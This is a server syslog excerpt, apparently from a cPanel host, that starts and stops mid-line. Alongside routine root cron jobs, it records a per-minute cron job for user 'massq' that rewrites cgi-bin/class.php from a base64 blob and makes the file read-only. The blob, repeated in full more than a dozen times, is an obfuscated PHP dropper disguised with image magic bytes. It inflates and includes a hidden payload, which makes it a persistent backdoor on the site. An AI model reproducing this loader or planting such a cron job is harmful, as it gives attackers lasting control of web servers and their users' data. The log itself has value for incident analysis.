yKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:39:01 server CROND[32489]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 03:39:01 server CROND[32490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:40:01 server CROND[32561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:40:01 server CROND[32562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:40:01 server CROND[32563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:40:01 server CROND[32564]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:41:01 server anacron[28267]: Job `cron.daily' started
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32683]: starting csget
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32693]: finished csget
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32683]: starting logclean
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32706]: finished logclean
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32683]: starting logrotate
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32713]: finished logrotate
Apr  8 03:41:01 server run-parts(/etc/cron.daily)[32683]: starting maldet
Apr  8 03:41:01 server CROND[318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:42:01 server CROND[485]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 03:42:01 server CROND[486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:43:01 server CROND[573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:44:01 server CROND[642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:45:01 server CROND[716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:45:01 server CROND[717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:45:01 server CROND[718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:45:47 server run-parts(/etc/cron.daily)[1193]: finished maldet
Apr  8 03:45:47 server run-parts(/etc/cron.daily)[32683]: starting man-db.cron
Apr  8 03:45:47 server run-parts(/etc/cron.daily)[1273]: finished man-db.cron
Apr  8 03:45:47 server anacron[28267]: Job `cron.daily' terminated
Apr  8 03:45:47 server anacron[28267]: Normal exit (1 job run)
Apr  8 03:46:01 server CROND[2464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:47:01 server CROND[2533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:48:01 server CROND[2707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:49:01 server CROND[2769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:50:01 server CROND[2846]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 03:50:01 server CROND[2847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 03:50:01 server CROND[2850]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 03:50:01 server CROND[2852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 03:50:01 server CROND[2851]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 03:51:01 server CROND[2976]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7G